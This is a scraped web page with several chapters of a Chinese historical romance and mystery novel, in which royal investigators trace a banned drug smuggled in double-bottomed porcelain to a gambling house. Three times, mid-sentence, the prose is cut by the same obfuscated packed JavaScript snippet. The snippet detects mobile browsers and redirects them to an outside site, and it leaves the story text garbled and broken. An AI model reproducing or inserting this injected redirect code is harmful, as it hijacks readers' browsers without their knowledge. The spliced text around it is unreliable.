不等他多问一句,沈悠然直接反手握着严晟的手腕不停地晃动着。 “你说,如果把那醉骨草晒干碾碎制成粉末,应该是什么样?” 醉骨草粉末! 因为她的这句话,在场的每个人都为之一振,立马看向脚下的碎片堆。 严晟喃喃道,“醉骨草只是形似一般的草药,但草身的绿色会随着不同的阶段慢慢褪去,等到蜕变为白色的时候,就是药效最强的时候。而后便会渐渐长出红色的花蕊,成为后来的赤雪纱。” 白色……药效最强……那也是最适合碾碎入药的时候! 严晟拉着沈悠然的手让她坐在一旁,随即看向身侧的书房,随意拿了本书撕扯下书封,两张弯折,不用手接触着将地上的粉末盛起。 他看向在场唯一一个闲人,“赵知州是吧?你去将府衙内的大夫叫来,记得,最好是年纪大点的,要嘴严。” 赵立看着这个方才推了自己一把的年轻人,原本还有些怒气,但听到他语气里的威严,下意识地就出门去寻人了。 直到走了一半,才反应过来自己都没问过他的身份,怎么就老老实实听他的安排了呢? 而沈煦也没闲着,小心地将碎瓷片整理到一旁,试图拼凑还原出本来的模样。 沈悠然这才发现,原来这瓷器,居然烧了两层底! 一层是沈悠然用树枝去探的时候触及到的地步,因为瓷瓶口细长,看向底部的时候也看不真切,看不出有什么怪异的地方。 但实际上,瓷器的下半部分还有约莫有一个指节高的中空部分,从外面看也看不出任何的异常。 两层底之间被封死了,如果不是像这般打碎了,谁也不知道里面居然还藏着东西。 袁家肯定就是以这样的方式瞒天过海,即便守城军仔细盘查了,也不会想到瓷器底部还有机关! 也怪不得这瓷器易碎,想必一开始就没打算用好的陶土,就是等运送到了目的地之后,打碎瓷器,才能取到真正想要的东西。 所以庄家才会采购了那么多的瓷器,却又不见这些瓷器流于市面上。 赵立一门心思担心着自己的脑袋,回了府衙连忙叫了人来,也顾不得休息歇脚喝两口茶,自己亲自去了后院请人。 严晟和沈煦再怎么懂,也只是从书上看见过,辨别不出这是不是真的醉骨草,只能让赵立去请大夫来。 因为听到严晟说要年纪大的,赵立特意找来了府衙里最年长的大夫,让人背着他回了客栈。 大夫听说是只是让他辨别草药的时候,不由得松了口气。 只要不是让他起死回生,一切都好说。 他放下药箱,将桌上的那些粉末放在嘴里尝了尝,又捻起一小撮扔进茶水里。 “味苦且久留于舌,片刻后舌尖无知无觉似千斤重,不容于水,漂浮于面而呈团状。” 那大夫心中有了猜测,但那种东西,让他怎么敢说出口。 “这、这……小的也不知道这是……” 他模样吞吞吐吐的,显然是在隐瞒。 沈煦掏出自己的令牌甩在他面前,“本宫乃东宫太子,圣上特地下令让本宫亲至锦州严查禁药一案,你等若是知而不报,按罪犯通过论处!” 大夫吓得颤颤巍巍就要往下跪,沈悠然实在看不下去他这副身子了还要折腾,伸手拽了他一把。 那大夫还以为这是要直接逮捕他,竟爆发出前所未有的速度,往后倒退了两步,嘴上是半点也没含糊。 “是醉骨草!是醉骨草!” 人家太子嘴上都说了禁药,定然是已经有了成算的,他这个时候还在这装什么不懂。 只是在锦州出现了禁药,此时可大可小。 往小了说,怕是谁人不懂随意种植的。 往大了说,万一这禁药被歹人把控着…… 他只觉得两眼发昏,本就没几年好活了,总不能一把年纪了还牵扯进这种让朝野震荡的大事里吧。 在府衙里当大夫,别的本事可能没学会多少,眼盲心瞎可成了傍身的本事。 他当即就装作体力不支,晕倒在一旁。 赵立看着这个老滑头就这么撂挑子不干了,心里又气又悔。 气的是自己又要一个人面对着几尊大佛了。 悔的是,装晕这种事,他怎么早没想到呢? 虽然已经证实了这粉末就是醉骨草,但沈煦还是觉得,得去那宅院看看。 他让心里还在懊恼的赵立先将人送回去,而后指派 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16951669|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一群人手,去宅院探查。 亥时三刻的时候,府衙的人手归来,在杂物间里发现了个箱子,收缴了一堆的制药器具。 严晟凑近取了些药碾上残留的白色粉末没照着老大夫说的那样试了下,确定这些就是醉骨草。 沈煦连夜提审押回来的那人。 因为之前交代过这人也许会寻死,赵立生怕他出事之后,一切的罪责都落在自己的头上,用了些折磨人的法子,让他不敢求死。 为了防止他寻死,赵立让人打断了他的手脚,还一拳打歪了他的下颌骨,不让他咬舌自尽。 他看见桌上那些送宅子里搜刮来的器具时,直到事情彻底败露了。 之前他觉得死不过就是一瞬间的事,没什么痛苦的,但被赵立折磨了一会儿,他才深刻体会到,这比死还难受。 而自己如果还是什么都不说,那肯定还会继续受折磨,他不想再这么痛苦了。 因为下颌骨错位,他说起话来含糊不清,期间还有涎水不断下落。 沈煦忍住嫌恶,连蒙带猜地听懂了他的意思。 此人名叫汪会,祖上是做草药生意的,醉骨草被列为禁药大肆焚烧的时候,他家中长辈留了个心眼,只是想着物以稀为贵,留下不少的种子,当做传家的宝贝,就等着说不定那一日不禁此物了,天底下就只有他们汪家一家还能种得出来醉骨草。 汪会原是不觉得这有多尊贵的,某日喝醉了酒之后,同行的人吹嘘自个儿家中有什么传了几代的宝贝,他一时糊涂,就这么说了出来。 再后面就有人找上了他,让他帮忙种植制粉,如果拒绝就去举报他,但乖乖顺从的话还能给他一笔至少能让孙子辈都衣食无忧的报酬。 汪会被金钱蒙蔽了眼睛,找了妻子的兄长一合谋,一个种植一个制粉,竟真的把这会掉脑袋的生意做了起来。 他今日不过是去给大舅子结银钱的,谁料一进房就瞧见大舅子倒在血泊里,脖子上的切口整齐,一看就是那些贵人才能用得上的锐利兵器。 为了不让人查到自己头上,汪会连忙收走了大舅子身上的银票——银锭惹眼,汪会从来都是和大舅子以银票交易的,他在钱庄存了钱,到时候大舅子直接拿着银票去自己账上支取就行。 只是回家之后,他越想越担忧,毕竟二人还有这么一层亲缘关系,就算没有银票,也会被人找上门的。 汪会便跟妻子谎称自己是要出一趟远门,只揣上了银票,连衣服都没来得及收拾,就准备潜逃。 然后被在门外的沈煦一举擒获。 沈煦又问他可知道那个贵人是谁,汪会只是摇摇头,直言那人连银钱都是定期派不同的人送过来的,他实在是不知道。 他只知道,每次药粉制好了,就会有一群穿着黑袍的人来取,再后来被送到什么地方去,他就无从得知了。 看他言辞恳切的模样,想必是已经把知道的所有东西都尽数吐露了出来。 沈煦也没再为难他,还让赵立给他找了大夫来治疗脱臼。 毕竟还要把他捆了带回宣阳城一同审问,万一面圣,还是让他体面些更好。 沈煦看向牢里唯一的一扇天窗,夜深人静,外面是漆黑一片,连月色都照不进分毫,心中有些慌乱。 但愿,一切都是他小题大做了。 66. 第 66 章 袁广博没有想到,那个自称是来自宣阳城富商沈家的千金,摇身一变竟成了大盛的昭懿帝姬。 若是早知道有这么一层关系,他哪怕是死,也不会去招惹。 一想到为了让儿子多和她亲近还带她去了自家的瓷器坊,袁广博就掐着大腿直后悔。 而他身后那个据说是被毁了容的护卫此时并没有戴面具,自称是圣上钦点的副巡查使,一脸的严肃地招呼着身后那些持刀的官兵将袁家为了个团团转。 他还有哪里不明白,连忙跪地求饶,直言要将自己知道的全都说出来,请求一个宽大处理。 他说自己是偶然得知宣阳城里有位贵人来锦州游玩,便起了结交之心。 彼时袁家只是锦州富商中的一个小角色,生意做得也不算大,但袁广博心中有抱负,更是从祖父那里见识到了权势的力量,一门心思想要巴结这位从宣阳城来的贵人。 安信侯见他处事圆滑又会恭维,觉得他是个懂事的,两人私交渐甚。 袁广博深谙想要得到就得先付出的道理,时常在安信侯耳边念叨着他愿为安信侯效犬马之劳。 庄明阳一开始还在试探,后来见着袁广博在锦州根基深厚,同各行各业的商户都有来往,便同他提出让他挑选些“听话懂事好拿捏”的商户来,说是要送他们一条平步青云之路。 起初袁广博自己也心动,辗转反侧了好几日,最终还是败给了自己的怯懦——他有自知之明,知道自己不是做官的那块料,与其让人看出来他肚子里没有半点墨水,不如老实当自己的商户。 他不敢拿自己的项上人头去赌,便只好将这种好机会让给别人。 算上于世秋,他前前后后一共推荐了六个人选,从中获利三万多两银子。 而后他又拿着这笔不义之财去讨好前任锦州商会会长。 锦州商会会长的位置是由上一任指派,只要不是那等引来众人极力反对的穷凶极恶之人,基本上是前会长说是谁,那就是谁。 再加上庄明阳暗中的推波助澜,这位置自然就落在了袁广博头上。 但到底花了这么多银子,袁广博心里琢磨着得尽快捞回来,更加上了心思要筛选合适的人引荐给庄家。 他甚至还想过,只在锦州挑难免会引人怀疑,他的目光甚至还落在了周围的州县上。 只不过好景不长,都还不等他有合适的人选,就听闻魏淳倒台了。 他顿时吓得连门都不敢出,对外宣称自己是出门做生意去了。 就这么战战兢兢地过了大半个月,他也没听见魏淳私下卖官的事情爆出来,这才放了心。 同时也更对安信侯的权势感到艳羡,原来当太后的亲侄竟有如此大的本事,这种事都能安然脱身。 是以当庄明阳对他交代起另一件事的时候,他只犹豫了半日,就欣然接受。 毕竟这次的报酬更为丰厚,背靠着安信侯这棵大树,也好乘凉。 只是闲暇时候他也会想,这么多的钱,难怪上头不愿意卖官了,上下打点的功夫都够送几批瓷器了。 但他没想过有朝一日,会直接被帝姬带人将整座宅子都围了起来。 沈悠然让人将他的供词一一记录后签字画押,随即让人捆了袁宅上下所有人。 主谋的袁广博及其家眷带上镣铐即日押解回宣阳城,其余的奴仆被关押进锦州的牢狱中,待一切查明之后才可释放无关人员。 不怪她心狠一网打尽,只是担心有漏网之鱼,或有人通风报信。 袁长远被衙役押着双臂往外走,只觉得一切都好像是在做梦一样。 自己家怎么就从锦州富商变成了阶下囚呢? 他知道父亲在和贵人做一些见不得人的勾当,但父亲不让他知道,他也就不去追问,自然就不会知晓自家犯的是什么大罪。 路过沈悠然身边的时候,他不死心地开了口。 “沈……” 妹字的音都还没来得及发完,他就感觉眼前一阵寒光闪过,紧接着是脖颈处传来的一阵凉意。 那早在挣扎之中散落在颈侧的发丝,也被削断了不少,飘零地在半空中打了个转后落在了地面上。 “谁给你的胆子直呼帝姬名讳?”严晟冷冷道。 袁长远这才意识到,他是魔怔了,眼前的人根本就不是什么沈妹妹,而是大盛朝最尊贵的昭懿帝姬。 她一开始就在骗自己,看自己像小丑一样被耍得团团转,像井底的癞蛤蟆一样对她产生非分之想。 当初有多么盼望着能够取得沈悠然后顺理成章地继承她家的产业,如今就有多恼怒。 但他不敢同沈悠然置气,只能恶狠狠地盯着严晟,仿佛他就是一切的罪魁祸首。 是他害得袁家被抄家,也是他害得自己的乘龙快婿之梦破碎。 沈悠然察觉到他眼里的恨意,虽然说此时他双手被擒,但也不得不防备。 一想到这里,她下意识地就往严晟的面前靠,试图挡在他和袁长远之间。 严晟的动作因为她下意识的动作而随之一顿,握着剑的手都有些不稳。 直到所有官兵都押解着袁家上下出了门,他才找回了自己的声音。 “昭懿帝姬,下次……不可这样。万一对方还有后招,”他声音有些颤抖,“我也不必你来保护。” “比起自己,我还是更希望昭懿帝姬能够安然无恙。” 沈悠然忍不住勾了勾嘴角,等自己乐够了,才不清不重地在他背上敲打着。 “别小瞧我呢,我可是昭懿帝姬。” “没有本宫护不住的人!” 看她捏着拳头耀武扬威的模样,像是一只没断奶就先学会了呲着牙吓唬人的小老虎。 严晟觉得他如今是越来越不稳重了,所有的思绪都开始飘忽,心里只有一个念头。 他迫切地需要靠近沈悠然,来安抚那颗躁动不安的心。 他低头,吻上了沈悠然那双让他沉醉的眼眸。 好不容易能等到这般主动的严晟,沈悠然又怎么会轻易放过,拽着他的衣领往下一拉,自己踮起脚尖,以自己的唇去描摹他的唇形。 一吻之后,还不忘记对他进行点评。 “下次记得选个好点的地方,这里我不喜欢。” * 此案牵扯过大,沈煦不敢让锦州府衙的人单独押送,唯恐走漏了风声路上被人埋伏杀人灭口。 他和严晟打算亲自护送,沈悠然和蔺朝暮在马车上随行。 为了能够早日回宣阳城,回城的路可以说得上是风餐露宿。 沈悠然还好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16954944|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她虽然是娇气,但也不是不明事理的人,即便是在颠簸的马车上坐得下半身都快失去知觉了,也咬着牙没说话。 严晟只能每晚趁着没人的时候,偷摸着给她揉捏小腿,让她不至于那么难受。 两人默契地没有同沈煦提起,想着等一切尘埃落定之后,挑个好日子再说。 沈悠然讲究,不想这么随意地就决定自己的人生大事,她要郑重地将作为驸马人选的严晟介绍给她的父母兄嫂。 而之所以她们每日的私下见面没有被发现,是因为蔺朝暮的状态不太好。 因为连日奔波,蔺朝暮也不知是水土不服还是没有休息好,一路上时不时呕吐,更是连进食的胃口都没有。 沈煦多次提及要进城就医,但都被蔺朝暮拒绝了,直言她不过是从未做过这么久的马车,心里憋闷罢了。 她还说自己小时候也是这样,马车颠得厉害了就会头晕呕吐,多歇歇就没事。 沈煦还想多说什么,却被蔺朝暮以早日归家便能早日彻底休息为由拒绝了,她不想耽误功夫。 这下沈煦也没了办法,每次休整的时候,都恨不得将蔺朝暮捧着。 和她同马车的沈悠然也因为嫂嫂的不适感到焦急,幸而严晟识得基础的草药,午间休整的时候,她便拽着严晟四处寻找,替蔺朝暮摘了不少的薄荷草叶来多多嗅闻,让她不至于这么难受。 就这么折腾了大半路,在看见城门口上朱字御批的“宣阳城”三字,沈悠然只觉得一口浊气终于有地方出了。 沈煦马不停蹄地将一行人等都押送回了大理寺,即便心中万分担忧妻子,却也是不得不以大事为重。 他嘱咐严晟一定要将人安稳地送回东宫,再请御医来整治。 沈悠然隔着马车帘朝他拍拍胸脯保证,一定会看护好嫂嫂,让他不要担心。 沈煦这才不舍地离开。 她冷静地拿出自己的腰牌,让人先快马赶去太医院请人,自己则是吩咐车夫小心些不要再颠簸着让蔺朝暮更加不适。 那冷静从容的模样,和一开始出宣阳城时的她不太一样。 可一见到赵皇后的模样,又如同归家的乳燕般,飞扑着冲进了她怀中。 赵皇后早就得了信令说他们今日归来,一大早地就带人候在了东宫门口。 瞧见脸上风扑尘尘还比从前黑了些许的女儿,她轻咬着下唇才忍住了想要落泪的冲动,没在外人面前失态。 沈悠然来不及诉苦,只有言语里微微的颤抖表明她的心绪并不平静。 “母后、母后……你快让人来看看嫂嫂,嫂嫂她身体不适!都吐了好几日了” 闻言,赵皇后连忙让身边力大的嬷嬷上车,将脸色有些惨白的蔺朝暮打横抱了出来。 连日来食不下咽让蔺朝暮说话都有些气短,“拜见母后。” 赵皇后握着她的手,阻止了她想要挣扎着行礼的动作。 “好孩子,别讲究那些虚礼了,快进殿躺着,怎么看起来这般憔悴?” 沈悠然跟在身后,将一路来的症状尽数说给赵皇后听。 “嫂嫂已经好几日都未曾好好进食过了,一路上水土不服,总是呕吐,把我和哥哥都吓坏了!” 听到这里,赵皇后脚下动作一顿,心里有了一个猜测。 67. 第 67 章 沈煦将人送进了大理寺后,马不停蹄地回到了宫中。 事件的经过他早已整理好写成了折子,因为事关重大,他只能当面呈交。 盛兴帝了解了前因后果之后,当即将折子重重拍在桌案上,怒不可遏地斥责道,“庄明阳怎敢如此!” 胸腔处传来一阵阵的刺痛,盛兴帝捂着左胸,不停地喘着粗气。 沈煦连忙上前,又是递茶又是拍背,怕盛兴帝因此气坏了身子。 “父皇息怒!” “如今只知安信侯私自栽种禁药、走私禁药,但还未知他买来这些东西是何用处,兴许……事情还不算那么糟糕呢?” 他这话说得迟疑,就连自己也不是很相信这番说辞。 不会有人冒着砍头的风险只是为了玩过家家的,既然庄明阳敢做此事,那就说明有非常大的利益在驱使着他。 或钱或权,总归是不容小觑的。 但为了不让父皇盛怒之下气坏身子,他只能这般说。 盛兴帝喝了一盏冷茶,一阵凉意暂时压抑住了他体内翻涌的怒火。 “朕会派人时刻监视着安信侯府,不让一只苍蝇飞出去!你去给我查!查着禁药是否在宣阳城中流通!若是证据确凿,朕定会让……” 盛兴帝想到在慈宁宫中礼佛的庄太后,只觉得额间抽痛,伸手在太阳穴间毫无章法地揉捏着。 “先查吧,后事……等查清楚了再说。” 沈煦迟疑着领了命,但也知道现在说再多都无济于事,一切都要看证据说话。 “父皇保重身体,儿臣……告退。” 盛兴帝实在是无暇顾及其他,半瘫坐在座椅上,按压太阳穴的动作没有停下,闭着眼睛对他摆了摆手让他退下。 一阵喑哑的关门声之后,盛兴帝才缓缓睁开了眼。 他本是在勤政殿批阅奏折,手侧还摆放着专属于皇帝的印鉴,面前折子上的墨迹还未干。 他是皇帝,整个大盛的百姓都是他的子民。 但他想到慈宁宫的那位,他又觉得无奈。 庄家一直都不是善茬,参奏庄家的折子不少,但大多都是庄家仗着权势欺压百姓闹出来的问题。 一开始盛兴帝还会将折子呈给庄太后定夺,但每每只能得到多使些银钱安抚苦主便可的回应,日子长了,他也就不问了,按照从前的办法处理便是。 只是没想到,这么多年了,庄家竟然被养成了这样大的胆子,居然敢做出动摇国之根本的事来! 那醉骨草是什么东西? 先帝还是四五岁的幼子时,有一位很是钦佩的皇叔,是驻守边关的将军,时常跟宫里的孩子们讲边关的趣事。 后来那位皇叔在战场上受了伤被送回宣阳城医治,太医开药方的时候开错了醉骨草的剂量,害得那位皇叔至此就变得疯疯癫癫的,见到谁都说他是边关派来的奸细,要赐一个凌迟之刑。 先帝吓得再也不敢靠近,听说后来那位皇叔在清醒的时候拿刀自戕了,便更加坚信醉骨草不是什么好东西了。 而也是经过此事,皇室一番调查之下,听闻各处都有醉骨草用量过多至人疯癫的案件,便将此药列为了禁药。 先帝即位之后,曾和坊间的一位风月女子牵扯不清,不止是庄太后,就连其他的后妃也频繁劝阻而无果。 最后还是二人为追求刺激,那女子提及醉骨草可让人享受至上的愉悦,被先帝一刀直接刺死在了床榻之上。 荒唐如先帝都知晓拿东西碰不得,但庄家竟敢私自种植运输,这简直是要翻了天了! 一想到庄家如今在宣阳城里炙手可热的态势,盛兴帝不免瘫坐在椅子上反思着。 难道,真的是自己错了吗?是自己的纵容,才让庄家猖獗至此的吗? * 即便日夜兼程赶路已经让人有些疲惫了,但沈煦依旧不敢停下来。 严晟从东宫赶到大理寺的时候,带来了太子妃并无大恙已然歇息的消息,还说赵皇后和昭懿帝姬都在东宫陪着她。 沈煦这才松了一大口气,也没察觉到好友那欲言又止的模样,只顾着将盛兴帝的意思传达下去。 严晟听着,也觉得在理——捉贼拿赃,按照袁家送瓷器的数量,这些醉骨草如果只是庄明阳自己用,那他早就该成了个疯子,又或者直接丧命。 他们要早日找到醉骨草粉末的去向,才能早日给庄家定罪。 二人探讨一番之后,一直觉得,应该先从那些下九流的地方查起。 特别是妓院赌坊一类本就会让人觉得情绪大起大落的地方,人多嘴杂的,做的阴私交易可太多了。 他们抽调了人手分成数队,将整个宣阳城里的妓院赌坊都查了个遍,连那些未经允许私自在自家宅院做这种见不得人买卖的地方,都被翻得底朝天。 为了不让庄家产生警惕,他们只能对外宣称是接到举报说有人用假账本糊弄户部,让那些人都老实交代。 那一整个晚上,宣阳城里的灯火就没灭过。 也是这么天罗地网一般的搜查,还真搜出了些东西来。 左金吾卫家的三公子时常来往乾坤赌坊,但却很少有人看到他下场押注,每次去了之后都是只身一人进了房间,只有赌场的老板能跟他说上两句话。 透露消息的那人还开玩笑地说了一句话,仿佛那位公子只是把赌坊当成了一个睡觉的地方一样。 好端端的一个人,去哪不是睡,要去赌坊这种吵得不可开交的地方? 得到这条消息之后,沈煦和严晟立马去往左金吾卫府上。 左金吾卫是个闲散官职,多是授予皇室宗亲的,现在当值的这位按照辈分来说,沈煦还得叫一声叔叔。 只是那都是祖上的交情了,到了这一辈早就没人去盘算这些,他们也不好去跟皇帝太子攀交情。 但这位三公子钟仁他们从前也是见过的,在集英书院也打过照面。 只是他比沈煦严晟二人都还要年长两岁,又不善诗文,没多久就不再去书院就读了,后面也就再没机会相见。 但他二人无论如何也没有想到,当初那个还算意气风发的少年郎,会成了如今这副模样。 他原本的模样还算周正,因为个子高,在书院踢蹴鞠的时候,是人群中最惹眼的那个。 但此时看见他缓缓走进大堂的身影,竟然人察觉出了不属于他这个年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962635|188867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪的佝偻。 但最让人诧异的还是他那消瘦的身形,这绝不该是曾经那个健康的成年男子应该有的模样。 也不知道是不是被人扰了清梦,钟仁的神情看起来有些恍惚,被他爹钟英睿呵斥了两声之后,才慢悠悠地给沈煦见礼。 沈煦抿着唇,不动声色地看着他这动作,心中想的是他在蹴鞠场上大步流星的模样。 坐在沈煦旁边的钟英睿看见小儿子这副慢吞吞的模样,本就因为太子上门而惶恐的心更加是气不打一处来。 “给我站直了!看你那副吊儿郎当的模样,像什么样子!” 钟仁脖颈一抽,站直的动作依旧是慢悠悠的。 迎接他的从父亲的叱骂变成了一杯砸向他脑袋的茶盏。 “孽畜!给我跪下!” “你给我老实交代,是不是又在外面惹了事,竟让太子殿下亲自登门指名道姓地要找你!” 沈煦敏锐觉察到他话里的不对劲,“又?” 钟英睿叹了口气,“不敢欺瞒殿下,我这小儿子被我那老妻养坏了,这一年来也不知道是中了什么邪,跟着不知道在哪结交的下三滥朋友到处混,前些日子还掀了一家卖糕点的铺子呢。” 跪在地上的钟仁擦了擦额角留下的血珠,当即像是受了什么刺激一样,情绪亢奋地大喊道是因为那家人卖的是人肉包子。 钟英睿气得直拍椅子扶手,“又在胡说八道!人家好端端一个糕点铺,哪来的包子卖!我看你就是得了癔症!” 钟仁像是没听见一样,气呼呼地站起来,学着他爹的模样拍着桌面大喊大叫,“你个老糊涂的!” 钟英睿闻言,气得脸色通红,又怕他大声嚷叫在太子殿下丢了脸,连忙叫人带他下去包扎伤口。 沈煦看着这对父子俩,实在是觉得这一切都太怪异了。 从钟仁现在的模样,到父子俩说的话,都太怪了。 “我看令郎似乎,是受了什么刺激?”沈煦出声试探。 钟英睿又是不住地叹着气,直言他也不知道怎么的,就感觉这个小儿子好似真的撞了鬼一样,有事他的行为和言语,实在让人捉摸不透是在做什么。 沈煦和严晟对视一眼,从彼此的目光里,已经猜测到对方和自己想到一块儿去了——钟仁看起来像是接触过醉骨草。 “那令公子整日都是这般浑浑噩噩的吗?”沈煦又问。 “倒也不是,其实那小子也不是整日都这么叛逆,每次和我顶嘴之后关他几日,就会老实许久。” 被关了几日去不了乾坤赌坊,自然就接触不了醉骨草,所以人也看上去正常不少。 问到这里,沈煦基本已经笃定了。 但为了证实这个猜测,他还是问出了最后一个问题。 “本宫近日受圣上亲令,清查赌坊妓院假账本一案。来叨扰钟老是因为接到举报,说令公子在赌坊里欠了一大笔债还不上……” 听到这里,钟英睿差点一口气没缓过来,双眼不停地翻转着差点就要撅过去,严晟连忙上前给他掐人中。 好不容易缓过来的之后,他张口第一句话就是叱骂。 “这个臭小子,还敢去赌?” 68. 第 68 章 钟英睿本来是死命想要把这件事摁下去的,这是家丑,说出来嫌丢人。 钟家祖上也曾辉煌过,还娶过皇室的公主,正经算起来后代也是有皇室血脉的。 只是这几代都没什么建树,上上下下都是一副闲散模样,既没想过建功立业,也不打算考取功名,人人都想着反正祖上还有家产,就这么混个职务领俸禄过活。 反正那沈家的皇室是有神明庇佑的,左右又不会亡国,自家也不需要打拼什么,靠着大树好乘凉。 到了钟仁这一辈更是如此,从前在书院就不爱读书,只是喜欢书院里有人陪着他踢蹴鞠玩乐,相熟的朋友入了仕之后,他便更不爱去书院了。 因为没有官职不用每日点卯,钟仁从书院离开后整日无所事事,也不知道在哪认识了些不三不四的人,竟学着开始赌博。 一开始钟家人对此毫不知情,只是后来有一日,钟仁的母亲实在看不下去他这幅模样,押着他去书房读书的时候,竟发现书房里的那些古玩字画都不见了踪迹。 她以为遭了贼,嚷嚷这要报官,却被钟仁按住了。 事已至此,钟仁已经瞒不下去了,便直言自己是在外面输光了银子,变卖字画去还债了。 钟英睿夫妻俩虽然气愤,但到底还是溺爱小儿子,只将他叱骂了一顿,让他不再去赌便是了。 谁料钟仁死性不改,依旧日日往乾坤赌坊跑,夫妻俩是打也打过骂也骂过,但依旧是败在了心软二字上。 没过多久,钟家的那些祖产都被他败了个七七八八。 钟英睿夫妻二人不知情被钟仁哄骗,但沈煦和严晟都知道,钟仁哪里是沾上了赌瘾,而是把钱都拿去买了其他的东西。 他们找经验的老大夫仔细问过,醉骨草的存活率本就不高,能用的部分又少,种植起来耗时又耗力,是以从前的大夫们开药都是省着用的,一开始也就不知道这药用多了会损耗人的心神。 是以这醉骨草的粉末,卖得定然不会便宜,用赌博输了钱来掩盖,也不会惹人怀疑。 思及此,沈煦也不再和钟家周旋,直言怀疑钟仁和乾坤赌坊有不正当的交易,要将他带回大理寺盘查。 钟英睿再怎么不情愿,但那可是太子亲自来拿人,他怎么敢反抗。 更重要的是,即便再糊涂,他也意识到了小儿子近来真的不对劲…… 他得赶紧回去再拜拜那位公主祖宗,祈求她老人家在天有灵,保佑钟家无灾无难。 * 沈煦没想到仅仅是回屋去包扎个伤口的功夫,钟仁竟心大得还睡得着。 当下面的人押着他准备回大理寺受审时,他也还是一副病恹恹的模样,怎么看都不对劲。 一旁的大夫擦着汗,连忙解释道如果不用一些让人精神昏沉的药,小少爷就不会配合着包扎的。 前些日子小少爷被老爷夫人打了一顿,都见血了,还要梗着脖子和他们二人吵,险些动起手来,钟家的大夫这也是无奈之举。 看着沈煦一行人来者不善的模样,虽然也不知道发生了什么事,但还是忍不住抹着泪替钟仁开脱。 从他口中描绘出来的钟仁虽然是贪玩了些,但还是个好孩子。 严晟在心底冷哼了一声,说起来比他和沈煦还年长,还要称一句“好孩子”,也不嫌害臊。 沈煦对他的说辞将信将疑,但也没为难他一个大夫,让人从宫里请来了御医,打算回大理寺之后好好给钟仁检查一番。 此时在太医院当值的也是一位老大夫了,听得沈煦描述的症状,又问起醉骨草相关的东西,心里已经笃定了。 “这就是过量食用醉骨草产生了依赖。食用过后的一天之内,整个人都会属于比较亢奋的状态,做什么事都会感觉很有劲,但后面几日就会持续以一种浑浑噩噩无精打采的模样出现,跟他说话的时候也能感觉到回应比平时慢了许多。” 沈煦回想了一下他在堂前大声叫嚷这骂钟英睿老糊涂的样子,猜想他应该是才食用过不久。 大夫说这个时候是最不利于问话的,最好是等药效过了,那个时候他神志比较虚弱,想要盘问也比较容易。 但沈煦不想耽搁太久,下令给他扎针,无论如何都要让他能开得了嘴。 兴许是老天也看不惯钟仁这种败家的人,又或者是钟家的大夫下的安神药不够多,几针下去还真的让人醒了过来。 沈煦没再和他东拉西扯的,直接就是开门见山地问他醉骨草是从哪里得来的。 钟仁眼神迷茫,过了好半晌才反问道醉骨草是什么。 见他还在嘴硬,一夜未眠的沈煦心中不免燃起一股怒火——他一想到这种害人的东西都不知道在眼皮子底下流通了多久,就觉得后怕。 他竟还不承认,想着瞒天过海! 严晟上前拦住了双目泛红的沈煦,“庄家不会那么蠢,既明知醉骨草是禁药,没准换了个名字,钟仁不知道也正常。” 沈煦这才深吸了一口气缓了缓,坐在主审官的椅子上,拿出一副威严沉着的态势来。 “钟仁,你在乾坤赌坊里,做的到底是什么勾当。” 和老御医说的差不多,此时的钟仁精神萎靡,虽然反应慢了些,但却没有精力去编制谎言。 就像是喝醉了酒的人一样,唯一的用处就是酒后吐真言。 “你说逍遥散啊,怎么,你也想试试?” 严晟在心底轻哼一声,原来他们把这个东西叫做逍遥散,倒也贴切。 逍遥了之后,人的精气神可不就散了吗? 见对方迟迟没有回应,钟仁瘫坐在地上,开始颠三倒四地自言自语。 一会儿是骂老鬼黑心,说那么一小撮就要收他五百两银子;一会儿又是说他已经好久没去天上看过了,也不知道天上那些陪他蹴鞠的神仙想他没;一会儿又是对不起钟家的祖祖辈辈;最后还忍不住咒骂了一番自己的老祖宗,痛恨他们怎么没能多敛些钱财,要是他家里有金山银矿,何至于用个几百两都要被父母叱骂。 他这样絮絮叨叨地将事情都吐露了个七七八八,也不用沈煦再去审问什么了。 他让人去乾坤赌坊里去打听了一下钟仁口中的那位“老鬼”,发现竟然就是赌坊的老板,大理寺的人当即就把他带了回来。 小老头干干瘦瘦的,脸上的皮都有些挂不住,耷拉着往下看起来真有几分恶鬼模样。 在路过躺在地上的钟仁时,他脚步微顿,很快就恢复如常。 面对沈煦的审问时,他一口咬定毫不知情,只言这些东西他也不知道是什么,是之前有几个胡商在赌坊里输了钱,还不上赌债 